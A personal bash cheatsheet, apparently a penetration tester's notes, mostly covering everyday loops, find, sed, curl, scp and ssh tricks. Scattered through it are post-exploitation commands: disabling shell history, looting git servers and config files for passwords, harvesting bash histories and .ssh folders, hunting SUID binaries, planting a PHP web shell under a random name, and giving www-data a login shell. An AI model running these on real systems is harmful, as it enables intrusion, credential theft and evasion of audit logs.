Bash Cheatsheet

I've gotten tired of googling the same things over and over again.

While loops

Note to self: If you find yourself doing this, you should probably stop and reevaluate why you're not using python.

Infinite loop

item=true
while [ $item = true ]; do echo 'bla'; done

While value is an empty string

value=""
while [[ -z "$value" ]]; do
    echo "value is empty"
    # here's where we break out
    if [[ "$value" ]]; then
        echo "exiting loop because value has been set to $value"
        break
    fi
done

For loops

This will compute the md5sums for every item in the current directory:

for i in $(ls); do md5sum $i; done | sort

This will print out 1 through 10:

for COUNT in $(seq 1 10); do
  echo $COUNT
  sleep 1
done

SCP file to a remote host with a specific port

scp -P <port>

Resource:
https://askubuntu.com/questions/182478/ssh-scp-to-copy-file-to-remote-server-port-21

SCP file between two remote hosts from your computer

This is useful if you have two aws instances, and want to transfer a file between them from your laptop.
scp -3 -i <pem file> user1@system_with_file:/file/to/xfer user2@system_that_needs_file:/file/to/xfer

Resource: https://superuser.com/questions/686394/scp-between-two-remote-hosts-from-my-third-pc

Create sudo user non-interactively

Skip the prompts that come with creating a user typically, and give them sudoers privileges. Replace <username> with the user you want to create.

# The man page explanation for --gecos isn't that intuitive IMO
# Basically specifying --gecos "" states you don't want to ask
# for real name, phone, etc.
adduser --disabled-password --gecos "" <username>
touch /etc/sudoers.d/10_*username*
echo '*username* ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/10_*username*

Resources:
https://askubuntu.com/questions/94060/run-adduser-non-interactively
https://askubuntu.com/questions/420784/what-do-the-disabled-login-and-gecos-options-of-adduser-command-stand

Run function as another user

export -f <function_name>
su <user to run function as> -c "bash -c <function_name>"

Exit-on-error mode

Put this at the top of your bash script: set -e.
If a command returns a nonzero status, the shell will exit.

Resources:
https://unix.stackexchange.com/questions/97101/how-to-catch-an-error-in-a-linux-bash-script
http://linuxcommand.org/lc3_man_pages/seth.html - man page

See files that would be unzipped without unzipping

unzip -v <file>.zip>

Unzip to a directory

unzip package.zip -d /opt

Resource: https://www.cyberciti.biz/faq/linux-howto-unzip-files-in-root-directory/

Color output in less

Use less -r <file>

Code Style

Function declarations:

my_func(){

}

Variable declaration:

cool_var='great'

Source filenames should be lowercase with underscores to separate words, i.e. the_best_script.sh

Resources:
https://google.github.io/styleguide/shell.xml#Variable_Names
https://dev.to/puritanic/shellscripting-functions-2696
https://stackoverflow.com/questions/673055/correct-bash-and-shell-script-variable-capitalization

Global variables in functions

If you want to set something as a global variable and use it in a function, do the following:

export SOMETHING="variable"

great_function(){
    echo $SOMETHING
}

Parse an env file

export $(egrep -v '^#' .env | xargs)

The env file you want to parse should look something like this:

FOO='bar'
USERNAME='user'

Resource: https://gist.github.com/judy2k/7656bfe3b322d669ef75364a46327836

Send message to all users

echo "hi" | wall

Move file with rsync

rsync --partial --progress filename.txt user@ipaddress_or_hostname:~

Use SSH and rsync together

rsync -avzhe ssh <folder to copy> user@192.168.1.2:/location/to/copy/to

Resource: https://linuxtechlab.com/files-transfer-scp-rsync-commands/

Break up VM into multiple 1 GB files

Need to transfer a VM? Try this.
split -b 1000m vm.ova vm.ova.split

Bring it back together

cat vm.ova.splita* > vm.ova

Kill netcat after 3 seconds

Great if netcat doesn't want to die
timeout 3 nc google.com 80; echo exit=$?

Resource: https://unix.stackexchange.com/questions/96817/how-do-i-get-the-nc-command-to-end-after-2-seconds

Find if string exists in a file

if grep -q SomeString "$File"; then
  Some Actions # SomeString was found
fi

Resource: https://stackoverflow.com/questions/11287861/how-to-check-if-a-file-contains-a-specific-string-using-bash

Delete files if they match a wildcard

If you have two files, someFile and someFile2, this will delete both of them:

if ls someFile* 1> /dev/null 2>&1; then
  rm someFile*
fi

Resource: https://stackoverflow.com/questions/12375722/how-do-i-test-in-one-line-if-command-output-contains-a-certain-string

Check if multiple binaries are installed

if hash cowsay 2>/dev/null && hash gshuf 2>/dev/null; then
  # do things if both are installed
fi

Check if file does not exist

if [ ! -f "some/file.txt" ]; then
  # do things if the file is not there
fi

One-liner to check if file exists

if [ ! -f /tmp/foo.txt ]; then echo "File not found!"; else echo "file found"; fi

Resource: https://unix.stackexchange.com/questions/474244/one-liner-to-check-for-file-exists

Create directory if it doesn't exist

[[ -d dir ]] || mkdir dir

Resource: https://stackoverflow.com/questions/18622907/only-mkdir-if-it-does-not-exist

View output of a running process in another bash session

strace -p <pid> -e write

Resource: https://unix.stackexchange.com/questions/58550/how-to-view-the-output-of-a-running-process-in-another-bash-session

Number of duplicate lines in a file

sort <file> | uniq -c

Resource: https://stackoverflow.com/questions/6712437/find-duplicate-lines-in-a-file-and-count-how-many-time-each-line-was-duplicated

Run command in another directory as another user

This particular example is used to run a command as root in another directory

sudo -u root /bin/bash -c 'pushd "$HOME/.some_directory/"; ls -lart; popd'

Resource: https://stackoverflow.com/questions/10382141/temporarily-change-current-working-directory-in-bash-to-run-a-command

Bypass post-install configurations

If you have to install things via apt and run into blue screens that require human interaction, do this to avoid it:

sudo DEBIAN_FRONTEND=noninteractive apt install -yq [packagename]

Resource: https://serverfault.com/questions/227190/how-do-i-ask-apt-get-to-skip-any-interactive-post-install-configuration-steps

Get count of and list of most frequently used bash commands

history | awk '{a[$2]++;next}END{for (i in a){print i " --> " a[i]}}' | sort -nr -k3

Reinstall a package in a debian-based system

sudo apt install --reinstall <package> -y

Unable to fetch some archives, maybe run apt-get update or try with --fix-missing

Run this if apt update --fix-missing isn't working for you:

rm -rf /var/lib/apt/lists/*; apt update

Alternatively, you can also try:

apt clean; apt update

Resource: https://stackoverflow.com/questions/38743951/unable-to-fetch-some-archives-maybe-run-apt-get-update-or-try-with-fix-missin

View images on a remote system

ssh -Y user@server
apt install -y eog
eog pictures/foo.png

Resource: https://superuser.com/questions/557622/how-can-i-view-pictures-via-ssh

Save off auth logs for review

Useful to see who has logged into your system and when

last -F > /tmp/last

https://serverfault.com/questions/375091/getting-login-year-data-with-the-last-command-on-linux

"Incognito mode" for bash

Turn off history for a session.

export HISTFILE=

If you do want a record of your activity in another file, run this command instead:

export HISTFILE=0

This will create a file, 0, with your history for that session.

Resources:
https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List
https://www.maketecheasier.com/linux-command-line-history-incognito/

List NFS mounts

mount |grep nfs

When all users last logged in

lastlog

All previously logged in users

lastlog |grep -v "Never"	

Resource: https://www.rebootuser.com/?p=1623

Find if host is sharing file systems

If there are local mounts, you will be able to see who you're sharing with.

showmount -e localhost

Hosts with active connections to the system

netstat -pan |grep ESTABLISHED

Check if file has a certain number of lines

If file has 3 lines, tell us about it:

if [[ $(wc -l file) == *3* ]]; then
  echo "There are three lines in file"
fi

Resource:
https://stackoverflow.com/questions/12375722/how-do-i-test-in-one-line-if-command-output-contains-a-certain-string

If wc provides an inaccurate count

Add a newline to the end of the file with:

printf "\n" >> file.txt

Resource: https://stackoverflow.com/questions/12616039/wc-command-of-mac-showing-one-less-result

Strace

strace /bin/ls

Filter on write functions:

strace -e write /bin/ls

Objdump

Used to get the assembly output of a given binary

objdump -d <binary> | tee binary_output.txt

GDB

There's a whole page I've dedicated to this:
GDB Notes

List largest directories and files

du -hsx * | sort -rh | head -10

Resource: https://www.cyberciti.biz/faq/how-do-i-find-the-largest-filesdirectories-on-a-linuxunixbsd-filesystem/

Semicolon vs + in find

Resource: https://stackoverflow.com/questions/6085156/using-semicolon-vs-plus-with-exec-in-find

Check if you can ssh to several hosts

hosts.txt:

host1.com
192.168.1.2

test_ssh.sh:

for SERVER in $(cat hosts.txt); do
  ssh -i id_rsa -o StrictHostKeyChecking=no -o BatchMode=yes user@$SERVER exit && echo OK $SERVER || echo ERR $SERVER
done

Resource: https://stackoverflow.com/questions/49564299/script-to-check-if-i-can-access-multiple-servers

Kerberos

List tickets in a keytab

ktutil -kt file.keytab list

Resources:
https://kb.iu.edu/d/aumh#list
https://community.pivotal.io/s/article/Kerberos-Cheat-Sheet

Create kerberos ticket

kinit <username> -k -t /where/to/store/keytab/nameofkeytab.keytab

Not matching with grep

This example will find all jobs that don't contain com:

launchctl list | grep -v com

Regexing with grep

This will get the version of ruby from rvm:
rvm list | head -n 1 |grep -Po '\-(.*?)\s' | tail -c +2
The output from that command that it is parsing will look something like this: ruby-2.5.1 [ x86_64 ]

It will return 2.5.1.

Resource: https://askubuntu.com/questions/89995/bash-remove-first-and-last-characters-from-a-string

Egrep Regex and return capture group

This will read a file with a bunch of gmail addresses in it (among other things), and then print the unique email addresses found.

cat file.txt| grep gmail.com | egrep -o '\w+@gmail.com' | uniq -u

Resource: https://stackoverflow.com/questions/18892670/can-not-extract-the-capture-group-with-neither-sed-nor-grep/18892742

Create self-signed cert

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365

Resource: https://stackoverflow.com/questions/10175812/how-to-create-a-self-signed-certificate-with-openssl

Create SSH key script

if [ ! -e ~/.ssh/id_rsa.pub ]; then
  echo
  echo 'Creating your public and private ssh keys'
  echo '----------------------------------------'

  # Create public and private 2048 bit ssh key pair without pw prompt
  ssh-keygen -t rsa -b 2048 -f ~/.ssh/id_rsa -N ''
  echo

  # Copy new key to make it possible to autologin
  cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
  chmod 0600 ~/.ssh/authorized_keys

  # Add the ssh key
  eval "$(ssh-agent)"
  ssh-add ~/.ssh/id_rsa
else
  echo
  echo "Public ssh key file already exists"
  echo "----------------------------------------"
fi

Resources:
https://stackoverflow.com/questions/10767488/automate-ssh-keygen-t-rsa-so-it-does-not-ask-for-a-passphrase
https://unix.stackexchange.com/questions/48863/ssh-add-complains-could-not-open-a-connection-to-your-authentication-agent/48868

Archivers

Extract command

This will extract several popular formats for you without needing to worry about the syntax for each:

extract() {
  if [ -f $1 ] ; then
      case $1 in
          *.tar.bz2)   tar xvjf $1    ;;
          *.tar.gz)    tar xvzf $1    ;;
          *.bz2)       bunzip2 $1     ;;
          *.rar)       rar x $1       ;;
          *.gz)        gunzip $1      ;;
          *.tar)       tar xvf $1     ;;
          *.tbz2)      tar xvjf $1    ;;
          *.tgz)       tar xvzf $1    ;;
          *.zip)       unzip $1       ;;
          *.Z)         uncompress $1  ;;
          *.7z)        7z x $1        ;;
          *)           echo "don't know how to extract '$1'..." ;;
      esac
  else
      echo "'$1' is not a valid file!"
  fi
}

Tar

Untar to specific directory

tar -xf archive.tar -C /target/directory

Resource: https://askubuntu.com/questions/45349/how-to-extract-files-to-another-directory-using-tar-command

Create tar.gz with var

name="directory_name"
tar -czvf "$name".tar.gz $name

Show successful ssh logins

grep sshd.\*Accepted /var/log/auth.log

Show failed ssh logins

grep sshd.\*Failed /var/log/auth.log

Create encrypted zip

zip -r unenc.zip original_file
openssl enc -in unenc.zip -aes-256-cbc -e > enc.zip
# enter password when prompted

Depending on the situation, you may consider destroying the original unencrypted file:

rm unenc.zip

Decrypt and unzip encrypted zip

openssl enc -in enc.zip -aes-256-cbc -d > unenc.zip
# enter password when prompted
unzip unenc.zip

Remove duplicates from a file

sort inputFile | uniq -u > outputfile

Curl

Get status code

curl -I target.com

Resource: https://superuser.com/questions/272265/getting-curl-to-output-http-status-code

Upload a file

To upload a file to an endpoint at /upload with a form field, fileUpload, you can do the following:

curl http://target.com/upload -F "fileUpload=@test.txt" -vvv

Send a POST request with params

curl -d "param1=value1&param2=value2" -X POST http://localhost:4999/target

Download a file

This will also ensure that if a proxy is in place, it will not be used to connect to target.com.

curl http://target.com/puppet-linux --output puppet-linux -vvvv --noproxy target.com

Resource:
https://stackoverflow.com/questions/800805/how-do-i-make-curl-ignore-the-proxy

Use proxy

Useful to proxy requests through something like Burp Suite.

curl -X GET http://google.com --proxy http://localhost:8080

Resource:
https://forum.portswigger.net/thread/how-do-i-get-burpsuite-to-intercept-my-curl-x-get-requests-that-i-am-launching-from-command-line-bfb630dd

3000 millisecond timeout

curl -m 3 http://www.google.com

Resource: https://ec.haxx.se/usingcurl-timeouts.html

Check if a string is a timestamp

date -r <string>

For example:

date -r 1530279830

Resource:
https://medium.com/@amalmurali47/h1-702-ctf-web-challenge-write-up-53de31b2ddce

Kill all python processes in Ubuntu

pkill python

Resource:
https://www.techwalla.com/articles/how-to-kill-all-python-processes-in-ubuntu

Useful alternative to man pages

https://explainshell.com

Display Web Content in Terminal

curl http://www.cyberciti.biz/
lynx -dump www.cyberciti.biz
wget -O - http://www.cyberciti.biz

Resource:
https://www.cyberciti.biz/faq/unix-linux-get-the-contents-of-a-webpage-in-a-terminal/

Open file, grep it, send output to command

This particular example will search for instances of the ENC string and send them to eyaml decrypt -s:

cat file.txt |grep ENC | xargs --null eyaml decrypt -s

Delete to end of line in terminal

Ctrl+k

Delete to beginning of line in terminal

Ctrl+u
Resource: https://askubuntu.com/questions/269046/bash-delete-from-cursor-till-end-of-line-with-a-keyboard-shortcut

Generate a self-signed cert

openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out key.crt -keyout key.key

Find secrets on git server

This can be useful if you land on a git server and want some juicy secrets

for i in $(git ls-tree -r master | cut -d " " -f 3 | cut -f 1); do echo -e "${i}"; git cat-file -p ${i} | grep -i password; done

Resource: https://twitter.com/curi0usJack/status/1162452287677186050?s=20

Grep through several tar.gz files

find . -name \*.tar.gz -print0 | xargs -0 zgrep "STRING"

Resource: https://unix.stackexchange.com/questions/187742/how-do-i-grep-recursively-through-gz-files

SSHD with custom file

sshd -f <path/to/sshd_config/file>
For example:
sshd -f /tmp/sshd_config

The sshd_config file can look roughly like this:

Port 6022
HostKey /tmp/sshd_config/host_rsa
PasswordAuthentication yes
PermitRootLogin no

Run command repeatedly

My default tends to be while true; do <command>; sleep 2; done. However, a cleaner alternative can be done with watch:

watch <command>

For example:

watch date

Resource: https://www.howtoforge.com/linux-watch-command/

Sleep with timer

Set MIN to the desired number of minutes you want to sleep for:

MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e

Resource: https://www.commandlinefu.com/commands/view/5886/countdown-clock

Base64 encode with no word wrap

Useful for long strings that you want to base64 encode.

echo "thing" | base64 -w 0

Resource: https://conf.splunk.com/files/2019/recordings/SEC2286.mp4

Base64 decode string

echo 'stringtodecode' | base64 -d

Resource: https://www.base64decode.net/linux-base64-decode

Test if variable is set

if [ -z $1 ]; then
  echo "no input provided";
else echo "input is '$1'";
fi

Resource: https://stackoverflow.com/questions/3601515/how-to-check-if-a-variable-is-set-in-bash

Add ssh fingerprint to known_hosts

Useful if you need this functionality in a script (sometimes this arises with ansible, for instance)

ssh-keyscan -H <ip address> >> ~/.ssh/known_hosts

Resource: https://www.techrepublic.com/article/how-to-easily-add-an-ssh-fingerprint-to-your-knownhosts-file-in-linux/

Check if input is an ip address

if [ -z $1 ]; then
  echo "Usage: $0 <ip address>"
  exit
else
  if [[ $1 =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
    echo "Valid IP input, doing things with $1"
  else
    echo "Invalid IP input"
    exit
  fi
fi

Resource: https://stackoverflow.com/questions/13777387/check-for-ip-validity

Check if input is != to a string

if [[ "$1" != "puppet" ]] && [[ $1 != "chef" ]] || [[ -z $1 ]]; then
  echo "Usage: $0 <CM target>"
  exit
fi

Resource: https://unix.stackexchange.com/questions/67898/using-the-not-equal-operator-for-string-comparison

Output only found files w/ grep

grep -rnlw "stringtofind" .

Resource: https://stackoverflow.com/questions/3908156/grep-output-to-show-only-matching-file

UFW

Show open ports

ufw status

Allow port

Open the firewall for port 46666:

ufw allow 46666/tcp

Allow service

This will work for OpenSSH:

ufw allow 'OpenSSH'

This is for Apache:

ufw allow 'Apache Full'

Disable UFW

ufw disable

Enable UFW

ufw enable

Resource:
https://linuxize.com/post/how-to-setup-a-firewall-with-ufw-on-ubuntu-18-04/

Keep NC listener open

This will ensure that netcat doesn't hang when an incoming connection is established.

nc -lvk <port to listen on>

Resource: https://unix.stackexchange.com/questions/423407/how-can-i-keep-netcat-connection-open

Create random string

head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo ''

Example usage:

wget https://github.com/artyuum/Simple-PHP-Web-Shell/blob/master/index.php -O "/var/www/html/$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '').php"

Resource: https://unix.stackexchange.com/questions/230673/how-to-generate-a-random-string

Remove newline from end of string

tr -d '\n'

Resource: https://stackoverflow.com/questions/12524308/bash-strip-trailing-linebreak-from-output

Create three directories in tmp:

mkdir /tmp/{d1,d2,d3}

Crontabs for another user

You need to be root to do this.

List crontabs for <user>:

crontab -u <user> -l

You can also edit a crontab by using -e in place of -l.

Copy file to location with random name

# This will remove dashes, newlines and spaces
name=$(date | md5sum | tr -d '-' | tr -d '\n' | tr -d ' ')
if cp -R orig "$name"; then
  echo "Created $name"
fi

Resources:
https://www.howtogeek.com/howto/30184/10-ways-to-generate-a-random-password-from-the-command-line/
https://stackoverflow.com/questions/15801599/shell-script-copy-directory-passed-as-variable-to-another-directory-also-as-var

SSH

SCP files using wildcard

Be sure to escape the wildcard, i.e. file-\*

Full example:

scp ubuntu@target:~/.config/cred\*

Resource:
https://unix.stackexchange.com/questions/27419/how-to-use-wildcards-when-copying-with-scp

Show routes

netstat -nrl

Create route

This is useful if you're having issues with VPN and something like Burp Suite.

sudo route add <target system> <local IP>

Netstat (without actually running it)

awk 'function hextodec(str,ret,n,i,k,c){
    ret = 0
    n = length(str)
    for (i = 1; i <= n; i++) {
        c = tolower(substr(str, i, 1))
        k = index("123456789abcdef", c)
        ret = ret * 16 + k
    }
    return ret
}
function getIP(str,ret){
    ret=hextodec(substr(str,index(str,":")-2,2)); 
    for (i=5; i>0; i-=2) {
        ret = ret"."hextodec(substr(str,i,2))
    }
    ret = ret":"hextodec(substr(str,index(str,":")+1,4))
    return ret
} 
NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);remote=getIP($3)}{print local" - "remote}}' /proc/net/tcp 

Resource:
https://staaldraad.github.io/2017/12/20/netstat-without-netstat/

Show routing rules to reach a destination

ip route get <target>

For example, this will show the route that your system will take to get to 8.8.8.8 (Google's DNS Server):

ip route get 8.8.8.8

Note that you can also run this command on a mac after you install the iproute2mac package via: brew install iproute2mac

Resource: https://systemoverlord.com/2020/03/22/security-101-virtual-private-networks-vpns.html

AWK

Remove leading and trailing whitespace

awk '{$1=$1;print}'

Resource:
https://unix.stackexchange.com/questions/102008/how-do-i-trim-leading-and-trailing-whitespace-from-each-line-of-some-output

Print everything but first column

This assumes you have text coming from before the |.

| awk '{$1=""; print $0}'

Resource: https://stackoverflow.com/questions/2961635/using-awk-to-print-all-columns-from-the-nth-to-the-last/2961994

Split on /, print first column after split

awk -F '/' '{print $0}'

Make

Echo output

@echo Things I want to say!

Resource:
https://www.gnu.org/software/make/manual/html_node/Echoing.html

Get size of current directory

du -hsx

Find

Grep output of find and save to file

find . -iname "thing to find" -exec grep -rnw "term to search" {} \; | tee filename

As an example, we can search for all python files recursively from the current directory and then grep for the word "git" in those files:

find . -iname "*.py" -exec grep -rnw "git" {} \; | tee git

Resource: https://unix.stackexchange.com/questions/131535/recursive-grep-vs-find-type-f-exec-grep-which-is-more-efficient-faster

Find and replace all instances of a string

This will find all go files recursively from the current directory and replace all instances of "toreplace" with "replaced".

Linux:

find . -iname "*.go" | xargs sed -i 's/toreplace/replaced/g'

OS X with gnu-sed (installed via brew install gnu-sed):

find . -iname "*.go" | xargs gsed -i 's/toreplace/replaced/g'

Resource: https://stackoverflow.com/questions/1585170/how-to-find-and-replace-all-occurrences-of-a-string-recursively-in-a-directory-t

Find directories with a certain name

find . -type d -name "thingtosearchfor*" -print 2>/dev/null

Resource: https://askubuntu.com/questions/153144/how-can-i-recursively-search-for-directory-names-with-a-particular-string-where

Find a specific file

find /etc -name "passwd"

Find all bash_histories and send their contents to a file

find . -iname ".bash_history" -exec cat {} \; | tee ~/bash_histories.txt

Resource: https://stackoverflow.com/questions/864316/how-to-pipe-list-of-files-returned-by-find-command-to-cat-to-view-all-the-files

List all directories the current user has access to

find . -maxdepth 1 -type d -perm -u=rx

Run ls -lart on all dirs current user can access

This will also display the folder at the top of the output because we've used +.

find . -maxdepth 1 -type d -perm -u=rx -exec ls -lart {} + 2>/dev/null

Find all bash_history files the current user can read

find . -maxdepth 1 -type d -perm -u=rx -print0 | xargs -0 -I{} find '{}' -readable -iname '.bash_history' 2>/dev/null

Find all .ssh directories that the current user has access to

Clean:

find . -maxdepth 1 -type d -perm -u=rx -print0  | xargs -0 -I{} find '{}' -readable -type d -iname '.ssh' 2>/dev/null

Not quite as clean:

find . -maxdepth 1 -type d -perm -u=rx | xargs ls -lart 2>/dev/null |grep .ssh | grep "^.r..r..r"

Breaking this down:

find . -maxdepth 1 -type d -perm -u=rx - find all directories the current user has access to

| xargs ls -lart 2>/dev/null - send the output of the find command to

ls -lart and suppress the Permission denied messages

|grep .ssh | grep "^.r..r..r" - output all files with ssh in the name with read permissions for all users

Show all occurences of users running ssh

find . -name .bash_history -print -exec grep ssh {} \;

Find all .go files recursively

find . -name "*.go"

Find bins with SUIC or SGID set

Added output to /tmp/out.txt and backgrounded in the event you're on a crappy shell.

for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done | tee /tmp/out.txt &

Search for secrets in config.xml files recursively

In this example, we are searching for patterns in config.xml files matching <secret, <password, or <credential:

find . -name "config.xml" -exec grep -iE "<secret|<password|<credential" {} + | uniq -u

Find all csv files and delete them

find . -name "*.csv" -exec rm {} +

Destroy all json files recursively

find . -name "*.json" -exec rm {} \;

Resource: https://www.cyberciti.biz/faq/linux-unix-how-to-find-and-remove-files/

Show all executable files

find . -maxdepth 1 -perm -111 -type f

Resource: https://stackoverflow.com/questions/7812324/finding-executable-files-using-ls-and-grep

Find world writeable directories

find /\(-perm -o w -perm -o x\) -type d 2>/dev/null

Resource: https://delta.navisec.io/privilege-escalation/

Great find tutorial

TomNomNom breaks down the find command and makes it very approachable with this tweet: https://twitter.com/TomNomNom/status/1269263730992439296

Open command for editing

This is very useful if you have a long command that you want to modify quickly.

Type the following to open a file:
CTRL + x CTRL + e

Resource: https://stackoverflow.com/questions/657130/fastest-ways-to-move-the-cursor-on-a-terminal-command-line

Get second column of file

cat output.csv | awk '{print $2}'

Make offline copy of a site

wget --mirror            \
     --convert-links     \
     --html-extension    \
     --wait=2            \
     -o log              \
     http://howisoldmybusiness.com

Resource: https://alvinalexander.com/linux-unix/how-to-make-offline-mirror-copy-website-with-wget/

Download entirety of a site

wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com

Resource: https://stackoverflow.com/questions/11124292/why-does-wget-only-download-the-index-html-for-some-websites

Sed

Insert text after matched string

This will add retries=2 after [ssh_connection] in ansible.cfg:

sed -i '/\[ssh_connection\]/a retries=2' ansible.cfg

Resource: https://unix.stackexchange.com/questions/121161/how-to-insert-text-after-a-certain-string-in-a-file

Remove last line of a file

sed -i '$ d' foo.txt

Resource: https://stackoverflow.com/questions/4881930/remove-the-last-line-from-a-file-in-bash

Find and replace line in file

This will work with both osx and linux. It's important to note that you should not change anything except for <orig pattern>, <modified>, and file.txt.

sed -i".orig" 's/<orig pattern>/<modified>/' file.txt

Resource: https://stackoverflow.com/questions/7573368/in-place-edits-with-sed-on-os-x

Find and replace line assigned to variable in file

OSX (this will create a file.original, which is necessary for native OSX sed):

new_str="so new"
sed -i'.original' -e "s/staticlineinfile/$new_str/g" "file/to/change.conf"

Remove the .original file:

rm "file/to/change.conf.original"

Linux (you can also use gsed in OSX if you install gnu sed):

sed -i "s/dahclamps/$name/g" "$name/default/app.conf"

This will avoid having to create and remove the .original file.

Resources:
https://stackoverflow.com/questions/4247068/sed-command-with-i-option-failing-on-mac-but-works-on-linux
https://askubuntu.com/questions/76808/how-do-i-use-variables-in-a-sed-command

Add prefix to command output

yourcommand1 | sed  's/^/[prefix1]/'

For example, this will get all ip addresses associated with running containers, and add http:// to the front of each of them:

docker ps | awk '{ print $13 }' | grep -o -P "(.*:\d+)" | sed  's/^/http:\/\//'

Resource: https://stackoverflow.com/questions/42482477/add-prefix-in-bash-command-output

Remove nth line of a file

Remove the nth line of a file:

sed 'Nd' file

You have to use -i to modify the file.

For example, to remove the second line from somefile.txt and overwrite it:

sed -i '2d' somefile.txt

Resource: http://www.aodba.com/use-sed-command-delete-lines-linux/

Change shell with sed

This will change the shell from /usr/sbin/nologin to /bin/bash for the www-data user:

sed -i '/www-data/s/\/usr\/sbin\/nologin/\/bin\/bash/g' /etc/passwd

Resource: https://superuser.com/questions/558394/replacing-bin-bash-with-bin-false-in-etc-passwd-file

Merge two folders

rsync -avh --progress /path/to/source/ /path/to/destination

For example, if you have a recipes folder in /Volumes/stuff/recipes that you want to sync with your local recipes folder:

rsync -avh --progress ~/recipes /Volumes/stuff

Resources:
https://unix.stackexchange.com/questions/149965/how-to-copy-merge-two-directories
https://unix.stackexchange.com/questions/149965/how-to-copy-merge-two-directories#:~:text=If you want to move,are on the same filesystem.

Conditional based on output of a command

if echo $(command_to_run) | grep -q "thing to find in output of command"
    then echo "Yay, we found things!"
    else "We didn't find the thing we wanted to find!"; exit 1
fi

Resource: https://stackoverflow.com/questions/3943854/grep-in-if-statement

Setuid

chmod u+s <filename>

Resource: https://www.liquidweb.com/kb/how-do-i-set-up-setuid-setgid-and-sticky-bits-on-linux/

Remove files without an extension

In this case, we'll rm every file that doesn't end with the apk file extension:

find . -type f ! -name "*.apk" -exec rm {} \;

Resource: https://stackoverflow.com/questions/41935440/how-to-remove-files-without-certain-extension

Assign output to variable

pid=`adb shell ps -A | grep processname | awk -F' ' '{print $2}'`

Resource: https://www.cyberciti.biz/faq/unix-linux-bsd-appleosx-bash-assign-variable-command-output/

Get first two characters of a string

Use head -c 2

Example that will get the first two characters of the apk found in /tmp:

find /tmp -name "*.apk*" | head -c 2

Resource: https://stackoverflow.com/questions/1405611/how-to-extract-the-first-two-characters-of-a-string-in-shell-scripting

Break long command down

This is useful if you have a long command and want to be able to lay it out to analyze. Assign the parameter to a variable and add \ through out the content of that parameter.

For example:

command="https://google.com/endpoint\
?fields=field1,field2\
field3&field4=abc&field5=1234xyz"
curl $command

Resource: https://stackoverflow.com/questions/32341091/multiline-curl-command

Logging

Get today's date

today=`date '+DATE:%m%d%y' | cut -d: -f2`

Get the time

time=`date '+TIME:%H%M%S' | cut -d: -f2`

Get the year

year=`date | cut -d' ' -f 6`

Get the month and day

month_day=`date '+DATE:%m%d' | cut -d: -f 2`